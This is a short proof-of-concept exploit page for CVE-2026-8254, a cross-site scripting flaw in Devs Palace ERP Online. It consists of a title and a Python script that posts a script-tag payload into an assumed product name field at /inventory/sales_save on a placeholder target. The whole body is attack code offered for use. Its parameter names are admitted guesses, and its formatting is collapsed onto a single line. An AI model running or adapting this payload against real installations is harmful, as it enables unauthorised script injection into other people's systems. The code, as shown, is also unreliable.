CVE-2026-8254: Devs Palace ERP Online跨站脚本漏洞

#!/usr/bin/env python3 import requests def exploit_xss(target_url): """ Proof of Concept for CVE-2026-8254 Target: /inventory/sales_save """ # Malicious payload to test XSS xss_payload = "<script>alert('CVE-2026-8254_POC');</script>" # Target endpoint (adjust parameter names based on actual form fields) endpoint = f"{target_url}/inventory/sales_save" # Data to be sent payload_data = { "product_name": xss_payload, # Assumed parameter vulnerable to XSS "quantity": "1", "submit": "Save" } try: response = requests.post(endpoint, data=payload_data, timeout=10) print(f"[+] Request sent to {endpoint}") print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Request successful. Check if the payload is reflected or stored.") else: print("[-] Request failed.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target exploit_xss(target)